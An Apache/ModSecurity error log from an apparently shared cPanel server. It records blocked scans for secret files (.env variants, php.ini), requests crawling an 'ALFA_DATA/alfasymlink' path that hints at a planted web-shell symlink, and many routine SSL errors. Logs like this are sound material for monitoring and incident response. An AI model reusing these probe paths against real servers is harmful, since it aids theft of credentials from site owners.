[Tue Oct 27 12:46:57.268293 2026] [security2:error] [pid 3265868:tid 3265868] [client 94.26.106.175:50154] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "auDVgUAlewgskFKETgJw_QAAAAQ"]
[Tue Oct 27 12:46:57.268591 2026] [security2:error] [pid 3265868:tid 3265868] [client 94.26.106.175:50154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "auDVgUAlewgskFKETgJw_QAAAAQ"]
[Tue Oct 27 12:46:57.269428 2026] [security2:error] [pid 3265868:tid 3265868] [client 94.26.106.175:50154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgUAlewgskFKETgJw_QAAAAQ"]
[Tue Oct 27 12:46:57.309432 2026] [security2:error] [pid 3258393:tid 3258393] [client 94.26.106.175:50259] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.old"] [unique_id "auDVgYZyT1RKV95p3itGawAAABw"]
[Tue Oct 27 12:46:57.309670 2026] [security2:error] [pid 3258393:tid 3258393] [client 94.26.106.175:50259] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.old"] [unique_id "auDVgYZyT1RKV95p3itGawAAABw"]
[Tue Oct 27 12:46:57.310569 2026] [security2:error] [pid 3258393:tid 3258393] [client 94.26.106.175:50259] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgYZyT1RKV95p3itGawAAABw"]
[Tue Oct 27 12:46:57.484303 2026] [security2:error] [pid 3265904:tid 3265904] [client 94.26.106.175:50548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.staging"] [unique_id "auDVgRDAXMmRjnJCNHLOHwAAACc"]
[Tue Oct 27 12:46:57.484546 2026] [security2:error] [pid 3265904:tid 3265904] [client 94.26.106.175:50548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.staging"] [unique_id "auDVgRDAXMmRjnJCNHLOHwAAACc"]
[Tue Oct 27 12:46:57.485507 2026] [security2:error] [pid 3265904:tid 3265904] [client 94.26.106.175:50548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgRDAXMmRjnJCNHLOHwAAACc"]
[Tue Oct 27 12:46:57.509088 2026] [security2:error] [pid 3262600:tid 3262600] [client 94.26.106.175:50631] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.development"] [unique_id "auDVgbj3-TesapEMgz76EwAAAAY"]
[Tue Oct 27 12:46:57.509356 2026] [security2:error] [pid 3262600:tid 3262600] [client 94.26.106.175:50631] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.development"] [unique_id "auDVgbj3-TesapEMgz76EwAAAAY"]
[Tue Oct 27 12:46:57.510151 2026] [security2:error] [pid 3262600:tid 3262600] [client 94.26.106.175:50631] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgbj3-TesapEMgz76EwAAAAY"]
[Tue Oct 27 12:46:57.682032 2026] [security2:error] [pid 3265871:tid 3265871] [client 94.26.106.175:51021] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "auDVgd8QsyVDX8XbxGUrhAAAAA4"]
[Tue Oct 27 12:46:57.682371 2026] [security2:error] [pid 3265871:tid 3265871] [client 94.26.106.175:51021] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "auDVgd8QsyVDX8XbxGUrhAAAAA4"]
[Tue Oct 27 12:46:57.683722 2026] [security2:error] [pid 3265871:tid 3265871] [client 94.26.106.175:51021] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgd8QsyVDX8XbxGUrhAAAAA4"]
[Tue Oct 27 12:46:57.694609 2026] [security2:error] [pid 3265801:tid 3265801] [client 94.26.106.175:51055] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "auDVgZ-8GwYP4-sNlpcXxQAAAAk"]
[Tue Oct 27 12:46:57.694923 2026] [security2:error] [pid 3265801:tid 3265801] [client 94.26.106.175:51055] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "auDVgZ-8GwYP4-sNlpcXxQAAAAk"]
[Tue Oct 27 12:46:57.696645 2026] [security2:error] [pid 3265801:tid 3265801] [client 94.26.106.175:51055] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgZ-8GwYP4-sNlpcXxQAAAAk"]
[Tue Oct 27 12:47:04.006185 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 23.21.228.180:7329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:07.739479 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 3.226.106.93:55604] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:23.807628 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 52.4.213.199:52856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:24.397956 2026] [ssl:error] [pid 3265877:tid 3265877] (70014)End of file found: [client 185.191.171.11:29126] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:27.773509 2026] [ssl:error] [pid 3267641:tid 3267641] (70014)End of file found: [client 3.232.82.72:38969] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:35.781216 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 54.162.69.192:3547] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:39.857130 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 18.214.138.148:21125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:45.051048 2026] [ssl:error] [pid 3265799:tid 3265799] (70014)End of file found: [client 52.7.13.143:20259] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:47.744828 2026] [ssl:error] [pid 3267641:tid 3267641] (70014)End of file found: [client 18.209.137.234:20351] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:47:51.756679 2026] [ssl:error] [pid 3267627:tid 3267627] (70014)End of file found: [client 98.83.10.183:43950] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:04.041367 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 52.73.142.41:41311] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:11.988398 2026] [ssl:error] [pid 3267641:tid 3267641] (70014)End of file found: [client 3.218.103.254:56556] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:20.356834 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 3.93.98.99:16851] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:23.686540 2026] [ssl:error] [pid 3268035:tid 3268035] (70014)End of file found: [client 3.89.176.255:27877] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:27.972896 2026] [ssl:error] [pid 3267641:tid 3267641] (70014)End of file found: [client 54.157.84.74:43161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:31.813790 2026] [ssl:error] [pid 3265872:tid 3265872] (70014)End of file found: [client 3.216.13.10:59340] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:48:45.923590 2026] [security2:error] [pid 3265871:tid 3265871] [client 34.39.215.232:53718] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/account"] [unique_id "auDV7d8QsyVDX8XbxGUrkAAAAA4"]
[Tue Oct 27 12:48:45.923631 2026] [security2:error] [pid 3265871:tid 3265871] [client 34.39.215.232:53718] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "cpanel.sherwinpinturas.com"] [uri "/___proxy_subdomain_cpanel/account"] [unique_id "auDV7d8QsyVDX8XbxGUrkAAAAA4"]
[Tue Oct 27 12:49:07.882006 2026] [ssl:error] [pid 3268477:tid 3268477] (70014)End of file found: [client 54.198.33.233:58342] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:49:19.816089 2026] [ssl:error] [pid 3268455:tid 3268455] (70014)End of file found: [client 3.89.176.255:45000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:49:23.999605 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 54.144.185.255:48919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:49:27.862693 2026] [ssl:error] [pid 3265877:tid 3265877] (70014)End of file found: [client 52.200.58.199:3320] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:49:31.777484 2026] [core:error] [pid 3265868:tid 3265868] (13)Permission denied: [client 54.84.147.79:2368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/0000:00:03.0/rescan
[Tue Oct 27 12:49:36.129444 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 35.171.141.42:55356] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:49:39.777455 2026] [core:error] [pid 3268403:tid 3268403] (13)Permission denied: [client 100.28.49.152:37041] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/acpi-fan/bind
[Tue Oct 27 12:49:40.659704 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 195.178.110.50:24642] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:49:43.794531 2026] [ssl:error] [pid 3266317:tid 3266317] (22)Invalid argument: [client 3.214.176.44:22935] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:50:04.011275 2026] [ssl:error] [pid 3267641:tid 3267641] (70014)End of file found: [client 18.232.36.1:39692] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:50:12.327445 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 98.82.214.73:4392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:50:15.993059 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 44.212.106.171:35933] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/0000:00:01.3/i2c-0/new_device
[Tue Oct 27 12:50:31.772596 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 54.225.199.17:11813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:50:35.752565 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.203.111.15:30136] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:50:56.178167 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 23.23.212.212:53360] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:50:59.862274 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 3.223.134.5:36909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:08.158571 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 35.169.119.108:63781] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:15.774873 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 3.224.215.150:45146] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:19.761489 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 18.232.11.247:40889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:27.953160 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 98.83.72.38:7877] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:31.745267 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 52.54.157.23:42728] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:47.726275 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 3.93.253.174:9392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:51:59.945310 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 52.70.138.176:37639] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:03.802836 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 54.144.185.255:31411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:19.977785 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 3.232.39.98:53433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:20.475714 2026] [security2:error] [pid 3268405:tid 3268405] [client 43.165.198.5:46816] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDWxCIDCc5Zji7t-bVUmAAAAC8"]
[Tue Oct 27 12:52:20.477238 2026] [authz_core:error] [pid 3268405:tid 3268405] [client 43.165.198.5:46816] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:52:31.943697 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 44.216.172.204:46602] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:39.889669 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 100.29.107.38:52379] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:47.925487 2026] [ssl:error] [pid 3265904:tid 3265904] (70014)End of file found: [client 184.73.239.35:34458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:52.644435 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 85.208.96.196:34704] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:52.688198 2026] [ssl:error] [pid 3268268:tid 3268268] (70014)End of file found: [client 85.208.96.196:34720] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:54.353609 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 185.191.171.11:34896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:52:55.837134 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 18.210.58.238:62527] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:53:11.911050 2026] [core:error] [pid 3268394:tid 3268394] (13)Permission denied: [client 34.234.197.175:41193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/uevent
[Tue Oct 27 12:53:19.761450 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 54.90.244.132:46626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:53:23.714211 2026] [core:error] [pid 3268405:tid 3268405] (13)Permission denied: [client 54.84.161.62:57293] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/acpi-fan/uevent
[Tue Oct 27 12:53:23.714685 2026] [security2:error] [pid 3268405:tid 3268405] [client 54.84.161.62:57293] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/acpi-fan/uevent"] [unique_id "auDXAyIDCc5Zji7t-bVUnQAAAC8"]
[Tue Oct 27 12:53:23.714712 2026] [security2:error] [pid 3268405:tid 3268405] [client 54.84.161.62:57293] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/acpi-fan/uevent"] [unique_id "auDXAyIDCc5Zji7t-bVUnQAAAC8"]
[Tue Oct 27 12:53:31.928939 2026] [ssl:error] [pid 3268396:tid 3268396] (5)Input/output error: [client 54.235.172.108:38498] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:53:35.852447 2026] [ssl:error] [pid 3268454:tid 3268454] (70014)End of file found: [client 34.227.156.153:53224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:53:40.008280 2026] [ssl:error] [pid 3268233:tid 3268233] (70014)End of file found: [client 34.224.9.144:34572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:53:51.835834 2026] [ssl:error] [pid 3268396:tid 3268396] (5)Input/output error: [client 100.28.118.16:56021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:53:55.784008 2026] [ssl:error] [pid 3268332:tid 3268332] (70014)End of file found: [client 54.87.62.248:62246] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:00.705184 2026] [ssl:error] [pid 3268405:tid 3268405] (70014)End of file found: [client 18.214.124.6:23000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:04.015966 2026] [ssl:error] [pid 3268478:tid 3268478] (70014)End of file found: [client 50.16.248.61:16315] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:11.918008 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 44.205.192.249:29133] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:23.787770 2026] [ssl:error] [pid 3268402:tid 3268402] (70014)End of file found: [client 3.229.2.217:59042] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:27.314355 2026] [ssl:error] [pid 3268268:tid 3268268] (70014)End of file found: [client 185.191.171.16:34818] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:27.776694 2026] [core:error] [pid 3268402:tid 3268402] (13)Permission denied: [client 34.194.233.48:26443] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/driver/bind
[Tue Oct 27 12:54:35.774922 2026] [ssl:error] [pid 3268233:tid 3268233] (70014)End of file found: [client 35.169.119.108:14638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:43.751705 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 54.197.114.76:50586] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:48.045945 2026] [ssl:error] [pid 3268403:tid 3268403] (70014)End of file found: [client 3.93.211.16:42903] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:54:55.890603 2026] [ssl:error] [pid 3268394:tid 3268394] (70014)End of file found: [client 52.204.174.139:44367] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:55:00.428677 2026] [authz_core:error] [pid 3268396:tid 3268396] [client 85.217.149.5:35656] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:55:11.835970 2026] [ssl:error] [pid 3268233:tid 3268233] (70014)End of file found: [client 3.227.180.70:23742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:55:43.826145 2026] [ssl:error] [pid 3268268:tid 3268268] (70014)End of file found: [client 54.163.136.244:24089] AH02013: coalesce failed to read from data bucket
